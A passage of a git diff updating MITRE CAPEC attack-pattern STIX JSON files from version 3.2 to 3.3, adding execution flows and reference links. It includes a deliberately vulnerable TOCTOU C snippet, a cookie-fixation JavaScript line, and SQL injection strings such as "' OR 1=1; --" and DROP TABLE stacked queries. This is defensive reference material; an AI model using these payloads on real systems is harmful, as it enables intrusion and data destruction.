"attack-pattern--3da1844e-c905-420a-9179-260356a85a05", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions", "description": "This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by \"running the race\", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.", "external_references": [ @@ -101,8 +101,9 @@ }, "x_capec_example_instances": [ "The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client. See also: CVE-2007-1057", - "\n The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an adversary can replace the file referenced by the name.\n include include include \n define FILE \"/tmp/myfile\"define UID 100\n void test(char *str){int fd;fd = creat(FILE, 0644);if(fd == -1)return;\n chown(FILE, UID, -1); /* BAD */close(fd);\n }\n int main(int argc, char **argv){char *userstr;if(argc > 1) {userstr = argv[1];test(userstr);\n }return 0;\n }\n [R.29.3]\n " + "\n The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an adversary can replace the file referenced by the name.\n include include include \n define FILE \"/tmp/myfile\"define UID 100\n void test(char *str){int fd;fd = creat(FILE, 0644);if(fd == -1)return;\n chown(FILE, UID, -1); /* BAD */close(fd);\n }\n int main(int argc, char **argv){char *userstr;if(argc > 1) {userstr = argv[1];test(userstr);\n }return 0;\n }\n [REF-107]\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The adversary explores to gauge what level of access they have.

Experiment

  1. The adversary confirms access to a resource on the target host. The adversary confirms ability to modify the targeted resource.

Exploit

  1. The adversary decides to leverage the race condition by \"running the race\", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary can replace the resource and cause an escalation of privilege.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "A resource is access/modified concurrently by multiple processes.", @@ -114,7 +115,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3dfa08af-9677-4a4d-a3f0-a1c5042c9497.json b/capec/attack-pattern/attack-pattern--3dfa08af-9677-4a4d-a3f0-a1c5042c9497.json index 5cee11bfe0..1d82a7188c 100644 --- a/capec/attack-pattern/attack-pattern--3dfa08af-9677-4a4d-a3f0-a1c5042c9497.json +++ b/capec/attack-pattern/attack-pattern--3dfa08af-9677-4a4d-a3f0-a1c5042c9497.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--640742dd-9976-46c9-9336-7055f2942d38", + "id": "bundle--77a481ff-f633-483f-8899-517de4cb13a5", "spec_version": "2.0", "objects": [ { @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "System Owner/User Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1033", + "external_id": "T1033" } ], "object_marking_refs": [ @@ -49,7 +55,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3e3f4570-827b-4e0e-859b-00a4b13a1a65.json b/capec/attack-pattern/attack-pattern--3e3f4570-827b-4e0e-859b-00a4b13a1a65.json index a02701e628..c7da4f19ac 100644 --- a/capec/attack-pattern/attack-pattern--3e3f4570-827b-4e0e-859b-00a4b13a1a65.json +++ b/capec/attack-pattern/attack-pattern--3e3f4570-827b-4e0e-859b-00a4b13a1a65.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--68e9b185-696a-478e-884b-6a1f545211b2", + "id": "bundle--762ceb89-8291-4b5c-a883-9e1445fc822c", "spec_version": "2.0", "objects": [ { @@ -36,7 +36,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3e512a56-2597-4cbc-baee-198698b605d6.json b/capec/attack-pattern/attack-pattern--3e512a56-2597-4cbc-baee-198698b605d6.json index ccba9d0215..cee09df0c3 100644 --- a/capec/attack-pattern/attack-pattern--3e512a56-2597-4cbc-baee-198698b605d6.json +++ b/capec/attack-pattern/attack-pattern--3e512a56-2597-4cbc-baee-198698b605d6.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4f159819-6e51-47e9-8bef-7aba749ef3e1", + "id": "bundle--96b81cbd-6a99-4f01-b3f8-25ced16745a1", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--3ec96bbd-da0c-4640-a8ae-50e506206a2b.json b/capec/attack-pattern/attack-pattern--3ec96bbd-da0c-4640-a8ae-50e506206a2b.json index c95243432b..3fb273132b 100644 --- a/capec/attack-pattern/attack-pattern--3ec96bbd-da0c-4640-a8ae-50e506206a2b.json +++ b/capec/attack-pattern/attack-pattern--3ec96bbd-da0c-4640-a8ae-50e506206a2b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0c8e7f63-0417-47f5-8806-b6a06cba7a61", + "id": "bundle--5f07784c-b2ed-4c26-b49d-67d61c5f4cc8", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4015afd1-0f49-4727-83f0-1855533c7de2.json b/capec/attack-pattern/attack-pattern--4015afd1-0f49-4727-83f0-1855533c7de2.json index 78945c81e1..226943f553 100644 --- a/capec/attack-pattern/attack-pattern--4015afd1-0f49-4727-83f0-1855533c7de2.json +++ b/capec/attack-pattern/attack-pattern--4015afd1-0f49-4727-83f0-1855533c7de2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9ec23938-a027-4af2-aa5f-894f5f06f73b", + "id": "bundle--5b9d4afa-347c-438a-a5fa-c7d857225075", "spec_version": "2.0", "objects": [ { @@ -72,7 +72,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4068bee0-b331-49e8-872e-98429a3c374a.json b/capec/attack-pattern/attack-pattern--4068bee0-b331-49e8-872e-98429a3c374a.json index 5b49c2f811..af3940a6be 100644 --- a/capec/attack-pattern/attack-pattern--4068bee0-b331-49e8-872e-98429a3c374a.json +++ b/capec/attack-pattern/attack-pattern--4068bee0-b331-49e8-872e-98429a3c374a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--95dda76f-9763-4669-92af-54a8372d671f", + "id": "bundle--a9357d3b-4d38-44f2-b1eb-0b92cb2f2793", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--40eddae8-4d7d-4fc3-b220-1c9706f01a96.json b/capec/attack-pattern/attack-pattern--40eddae8-4d7d-4fc3-b220-1c9706f01a96.json index e34d43411d..e7066f2af0 100644 --- a/capec/attack-pattern/attack-pattern--40eddae8-4d7d-4fc3-b220-1c9706f01a96.json +++ b/capec/attack-pattern/attack-pattern--40eddae8-4d7d-4fc3-b220-1c9706f01a96.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--625333f5-7d46-4c98-8023-35b395626891", + "id": "bundle--b8bb479a-21b5-40c4-b05d-fd881a4e6ec6", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--414d0884-4f46-4a51-b4ea-72125c7f5f9e.json b/capec/attack-pattern/attack-pattern--414d0884-4f46-4a51-b4ea-72125c7f5f9e.json index 94283445dd..e2fec056a0 100644 --- a/capec/attack-pattern/attack-pattern--414d0884-4f46-4a51-b4ea-72125c7f5f9e.json +++ b/capec/attack-pattern/attack-pattern--414d0884-4f46-4a51-b4ea-72125c7f5f9e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1ad2dac6-17d8-4fad-b395-3ef54e276893", + "id": "bundle--f5e217da-1318-406a-b7a4-07aad1ff7624", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--414d0884-4f46-4a51-b4ea-72125c7f5f9e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Session Credential Falsification through Forging", "description": "An attacker creates a false but functional session credential in order to gain or usurp access to a service. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. If an attacker is able to forge valid session credentials they may be able to bypass authentication or piggy-back off some other authenticated user's session. This attack differs from Reuse of Session IDs and Session Sidejacking attacks in that in the latter attacks an attacker uses a previous or existing credential without modification while, in a forging attack, the attacker must create their own credential, although it may be based on previously observed credentials.", "external_references": [ @@ -72,6 +72,7 @@ "x_capec_example_instances": [ "\n This example uses client side scripting to set session ID in the victim's browser. The JavaScript code\n document.cookie=\"sessionid=0123456789\"\n fixates a falsified session credential into victim's browser, with the help of crafted a URL link.\n http://www.example.com/\n A similar example uses session ID as an argument of the URL.\n http://www.example.com/index.php/sessionid=0123456789\n Once the victim clicks the links, the attacker may be able to bypass authentication or piggy-back off some other authenticated victim's session.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Analyze and Understand Session IDs: The attacker finds that the targeted application use session credentials to identify legitimate users.

    2. Techniques
    An attacker makes many anonymous connections and records the session IDs.
    An attacker makes authorized connections and records the session tokens or credentials.

Experiment

  1. Create Session IDs.: Attackers craft messages containing their forged credentials in GET, POST request, HTTP headers or cookies.

    2. Techniques
    The attacker manipulates the HTTP request message and adds their forged session IDs in to the requests or cookies.

Exploit

  1. Abuse the Victim's Session Credentials: The attacker fixates falsified session ID to the victim when victim access the system. Once the victim has achieved a higher level of privilege, possibly by logging into the application, the attacker can now take over the session using the forged session identifier.

    2. Techniques
    The attacker loads the predefined or predicted session ID into their browser and browses to protected data or functionality.
    The attacker loads the predefined or predicted session ID into their software and utilizes functionality with the rights of the victim.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The targeted application must use session credentials to identify legitimate users. Session identifiers that remains unchanged when the privilege levels change. Predictable session identifiers." @@ -84,7 +85,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--41a75729-839b-409f-88f6-1b0c0dc9286c.json b/capec/attack-pattern/attack-pattern--41a75729-839b-409f-88f6-1b0c0dc9286c.json index 5e85442145..6682d40aa5 100644 --- a/capec/attack-pattern/attack-pattern--41a75729-839b-409f-88f6-1b0c0dc9286c.json +++ b/capec/attack-pattern/attack-pattern--41a75729-839b-409f-88f6-1b0c0dc9286c.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d71d62c7-e840-4337-b958-f15f0df507aa", + "id": "bundle--e2db97c8-33a2-4572-8ea1-f2cae314cc83", "spec_version": "2.0", "objects": [ { @@ -33,7 +33,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--41cfbb50-1b96-4004-a42e-6e8d21dd6f87.json b/capec/attack-pattern/attack-pattern--41cfbb50-1b96-4004-a42e-6e8d21dd6f87.json index 5c15adba30..f2f92878d6 100644 --- a/capec/attack-pattern/attack-pattern--41cfbb50-1b96-4004-a42e-6e8d21dd6f87.json +++ b/capec/attack-pattern/attack-pattern--41cfbb50-1b96-4004-a42e-6e8d21dd6f87.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--aac6d453-3986-4458-b9cf-5c345fecb72e", + "id": "bundle--417d0edf-6e85-4cbf-aea0-1a68ddf624d0", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--41cfbb50-1b96-4004-a42e-6e8d21dd6f87", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Schema Poisoning", "description": "An adversary corrupts or modifies the content of a schema for the purpose of undermining the security of the target. Schemas provide the structure and content definitions for resources used by an application. By replacing or modifying a schema, the adversary can affect how the application handles or interprets a resource, often leading to possible denial of service, entering into an unexpected state, or recording incomplete data.", "external_references": [ @@ -53,7 +53,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--420d73c3-133c-487e-a98a-6050e7680243.json b/capec/attack-pattern/attack-pattern--420d73c3-133c-487e-a98a-6050e7680243.json index 5654f75d9e..10d267f8e3 100644 --- a/capec/attack-pattern/attack-pattern--420d73c3-133c-487e-a98a-6050e7680243.json +++ b/capec/attack-pattern/attack-pattern--420d73c3-133c-487e-a98a-6050e7680243.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--da1d8e8b-4b4f-4433-ac1f-bb8a130220f0", + "id": "bundle--af5881b5-2f62-4bc5-a779-a212afa32245", "spec_version": "2.0", "objects": [ { @@ -74,7 +74,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--428d5dc6-c2be-4a2a-aed1-1e794518b101.json b/capec/attack-pattern/attack-pattern--428d5dc6-c2be-4a2a-aed1-1e794518b101.json index 751eb7f54a..42e04e6a47 100644 --- a/capec/attack-pattern/attack-pattern--428d5dc6-c2be-4a2a-aed1-1e794518b101.json +++ b/capec/attack-pattern/attack-pattern--428d5dc6-c2be-4a2a-aed1-1e794518b101.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2f67ec59-548e-4534-9f8f-5043eb8bf9db", + "id": "bundle--1108ef35-bcc2-4c8f-bc68-65399dca3bbd", "spec_version": "2.0", "objects": [ { @@ -42,7 +42,7 @@ "This type of an attack requires the attacker to be able to generate fragmented IP traffic containing crafted data." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e.json b/capec/attack-pattern/attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e.json index d5c5533ffa..c7371328a7 100644 --- a/capec/attack-pattern/attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e.json +++ b/capec/attack-pattern/attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f7b729c0-684a-4a9b-ac0c-31678ca143a3", + "id": "bundle--596b9810-6eb9-4359-8020-ef1b934f0f93", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--42acc604-a86c-46f7-bd03-6e532c02d85e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "SQL Injection", "description": "This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:", "external_references": [ @@ -24,28 +24,8 @@ }, { "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/74.html", - "external_id": "CWE-74" - }, - { - "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/20.html", - "external_id": "CWE-20" - }, - { - "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/697.html", - "external_id": "CWE-697" - }, - { - "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/713.html", - "external_id": "CWE-713" - }, - { - "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/707.html", - "external_id": "CWE-707" + "url": "http://cwe.mitre.org/data/definitions/1286.html", + "external_id": "CWE-1286" } ], "object_marking_refs": [ @@ -73,8 +53,9 @@ ] }, "x_capec_example_instances": [ - "With PHP-Nuke versions 7.9 and earlier, an attacker can successfully access and modify data, including sensitive contents such as usernames and password hashes, and compromise the application through SQL Injection. The protection mechanism against SQL Injection employs a blacklist approach to input validation. However, because of improper blacklisting, it is possible to inject content such as \"foo'/**/UNION\" or \"foo UNION/**/\" to bypass validation and glean sensitive information from the database. See also: CVE-2006-5525" + "With PHP-Nuke versions 7.9 and earlier, an attacker can successfully access and modify data, including sensitive contents such as usernames and password hashes, and compromise the application through SQL Injection. The protection mechanism against SQL Injection employs a denylist approach to input validation. However, because of an improper denylist, it is possible to inject content such as \"foo'/**/UNION\" or \"foo UNION/**/\" to bypass validation and glean sensitive information from the database. See also: CVE-2006-5525" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey application: The attacker first takes an inventory of the functionality exposed by the application.

    2. Techniques
    Spider web sites for all available links
    Sniff network communications with application using a utility such as WireShark.

Experiment

  1. Determine user-controllable input susceptible to injection: Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to SQL injection, attempt to inject characters that have special meaning in SQL (such as a single quote character, a double quote character, two hyphens, a parenthesis, etc.). The goal is to create a SQL query with an invalid syntax.

    2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.
    Use network-level packet injection tools such as netcat to inject input
    Use modified client (modified by reverse engineering) to inject input.

  2. Experiment with SQL Injection vulnerabilities: After determining that a given input is vulnerable to SQL Injection, hypothesize what the underlying query looks like. Iteratively try to add logic to the query to extract information from the database, or to modify or delete information in the database.

    3. Techniques
    Use public resources such as \"SQL Injection Cheat Sheet\" at http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/, and try different approaches for adding logic to SQL queries.
    Add logic to query, and use detailed error messages from the server to debug the query. For example, if adding a single quote to a query causes an error message, try : \"' OR 1=1; --\", or something else that would syntactically complete a hypothesized query. Iteratively refine the query.
    Use \"Blind SQL Injection\" techniques to extract information about the database schema.
    If a denial of service attack is the goal, try stacking queries. This does not work on all platforms (most notably, it does not work on Oracle or MySQL). Examples of inputs to try include: \"'; DROP TABLE SYSOBJECTS; --\" and \"'); DROP TABLE SYSOBJECTS; --\". These particular queries will likely not work because the SYSOBJECTS table is generally protected.

Exploit

  1. Exploit SQL Injection vulnerability: After refining and adding various logic to SQL queries, craft and execute the underlying SQL query that will be used to attack the target system. The goal is to reveal, modify, and/or delete database data, using the knowledge obtained in the previous step. This could entail crafting and executing multiple SQL queries if a denial of service attack is the intent.

    2. Techniques
    Craft and Execute underlying SQL query
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "SQL queries used by the application to store, retrieve or modify data.", @@ -88,7 +69,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--42fc0c14-a6f7-4839-978f-d1553f68f750.json b/capec/attack-pattern/attack-pattern--42fc0c14-a6f7-4839-978f-d1553f68f750.json index a5d095a5c9..23f9084ae4 100644 --- a/capec/attack-pattern/attack-pattern--42fc0c14-a6f7-4839-978f-d1553f68f750.json +++ b/capec/attack-pattern/attack-pattern--42fc0c14-a6f7-4839-978f-d1553f68f750.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--12ae3f89-545d-4ca5-9fd9-2f5d67e37c69", + "id": "bundle--b47d2a5a-ebf6-45ad-9d88-7294bc467780", "spec_version": "2.0", "objects": [ { @@ -38,7 +38,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4343b267-a4f4-4adb-aa1c-48c79c992210.json b/capec/attack-pattern/attack-pattern--4343b267-a4f4-4adb-aa1c-48c79c992210.json index ebc5f4aeb6..b3ef992b48 100644 --- a/capec/attack-pattern/attack-pattern--4343b267-a4f4-4adb-aa1c-48c79c992210.json +++ b/capec/attack-pattern/attack-pattern--4343b267-a4f4-4adb-aa1c-48c79c992210.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--574553dc-a9cf-4363-96ca-d837a1a6b027", + "id": "bundle--96c1d9c3-f28a-4aaa-82f9-9d164e7e7896", "spec_version": "2.0", "objects": [ { @@ -60,7 +60,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4480b2e7-bdb7-45fe-896b-dd895fbe3680.json b/capec/attack-pattern/attack-pattern--4480b2e7-bdb7-45fe-896b-dd895fbe3680.json index 507fc84dfd..6f53c182a0 100644 --- a/capec/attack-pattern/attack-pattern--4480b2e7-bdb7-45fe-896b-dd895fbe3680.json +++ b/capec/attack-pattern/attack-pattern--4480b2e7-bdb7-45fe-896b-dd895fbe3680.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--20e726c6-f3ca-4fef-a910-88e4e26b416b", + "id": "bundle--66c563c2-4637-4741-a22c-7724522dfec9", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--463e4ea5-f86f-4b87-af11-2fd96f2fab4f.json b/capec/attack-pattern/attack-pattern--463e4ea5-f86f-4b87-af11-2fd96f2fab4f.json index 80e79198ac..159767e186 100644 --- a/capec/attack-pattern/attack-pattern--463e4ea5-f86f-4b87-af11-2fd96f2fab4f.json +++ b/capec/attack-pattern/attack-pattern--463e4ea5-f86f-4b87-af11-2fd96f2fab4f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f5d7a6eb-3a2e-4473-a1f8-a61c6f8115ae", + "id": "bundle--075988dd-683b-43b9-afaf-d9dc1fe81a73", "spec_version": "2.0", "objects": [ { @@ -72,7 +72,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--4733a63a-db36-49fa-8eba-3d5eddfe7f87.json b/capec/attack-pattern/attack-pattern--4733a63a-db36-49fa-8eba-3d5eddfe7f87.json index 76c5ecf43d..b6cb4f5910 100644 --- a/capec/attack-pattern/attack-pattern--4733a63a-db36-49fa-8eba-3d5eddfe7f87.json +++ b/capec/attack-pattern/attack-pattern--4733a63a-db36-49fa-8eba-3d5eddfe7f87.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ed41a2b0-927a-4899-a827-1b1bc92c5593", + "id": "bundle--0186da18-9d33-400c-a85e-d4e96aed8ff5", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--4733a63a-db36-49fa-8eba-3d5eddfe7f87", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2019-04-04T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Contradictory Destinations in Traffic Routing Schemes", "description": "Adversaries can provide contradictory destinations when sending messages. Traffic is routed in networks using the domain names in various headers available at different levels of the OSI model. In a Content Delivery Network (CDN) multiple domains might be available, and if there are contradictory domain names provided it is possible to route traffic to an inappropriate destination. The technique, called Domain Fronting, involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. An alternative technique, called Domainless Fronting, is similar, but the SNI field is left blank.", "external_references": [ @@ -16,6 +16,12 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/481.html", "external_id": "CAPEC-481" + }, + { + "source_name": "ATTACK", + "description": "Proxy:Domain Fronting", + "url": "https://attack.mitre.org/wiki/Technique/T1090/004", + "external_id": "T1090.004" } ], "object_marking_refs": [ @@ -38,7 +44,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--47585668-9506-49fb-a465-3c0d72a60e1b.json b/capec/attack-pattern/attack-pattern--47585668-9506-49fb-a465-3c0d72a60e1b.json index cf41c3807c..4c91c9a3a9 100644 --- a/capec/attack-pattern/attack-pattern--47585668-9506-49fb-a465-3c0d72a60e1b.json +++ b/capec/attack-pattern/attack-pattern--47585668-9506-49fb-a465-3c0d72a60e1b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1965ed6a-fa3c-4a4e-9953-0b5bc031647d", + "id": "bundle--fe159def-07a5-42ea-820d-672b90b87678", "spec_version": "2.0", "objects": [ { @@ -71,7 +71,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--475af086-5223-4210-910a-5217445c0c23.json b/capec/attack-pattern/attack-pattern--475af086-5223-4210-910a-5217445c0c23.json index 14fa7cdb8f..8b11a40974 100644 --- a/capec/attack-pattern/attack-pattern--475af086-5223-4210-910a-5217445c0c23.json +++ b/capec/attack-pattern/attack-pattern--475af086-5223-4210-910a-5217445c0c23.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--e74f50c6-ddd9-4e51-95e6-f5705e7771a0", + "id": "bundle--265814bd-2fb4-415f-884a-59573c2a00fe", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--476ca631-2695-43f8-82f6-83c06a07ae36.json b/capec/attack-pattern/attack-pattern--476ca631-2695-43f8-82f6-83c06a07ae36.json index 4b1f808bbc..85bdfabd56 100644 --- a/capec/attack-pattern/attack-pattern--476ca631-2695-43f8-82f6-83c06a07ae36.json +++ b/capec/attack-pattern/attack-pattern--476ca631-2695-43f8-82f6-83c06a07ae36.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4ee7b0e6-a51d-42c6-b5ac-a2572b06e702", + "id": "bundle--e6463055-3fb0-4471-bd8f-6f712d328423", "spec_version": "2.0", "objects": [ { @@ -43,7 +43,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--481983de-2023-47f1-be60-642556a65376.json b/capec/attack-pattern/attack-pattern--481983de-2023-47f1-be60-642556a65376.json index c07e268d7f..c0e538ca00 100644 --- a/capec/attack-pattern/attack-pattern--481983de-2023-47f1-be60-642556a65376.json +++ b/capec/attack-pattern/attack-pattern--481983de-2023-47f1-be60-642556a65376.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--afe228e2-0c62-4a7d-9485-5f05b22d575c", + "id": "bundle--24ce3bc4-9a4f-4043-9463-00ab8daa754d", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--482cb9fc-0122-49f0-b6df-6d2d42098b0a.json b/capec/attack-pattern/attack-pattern--482cb9fc-0122-49f0-b6df-6d2d42098b0a.json index 9437bd2dbb..d4d68b59ce 100644 --- 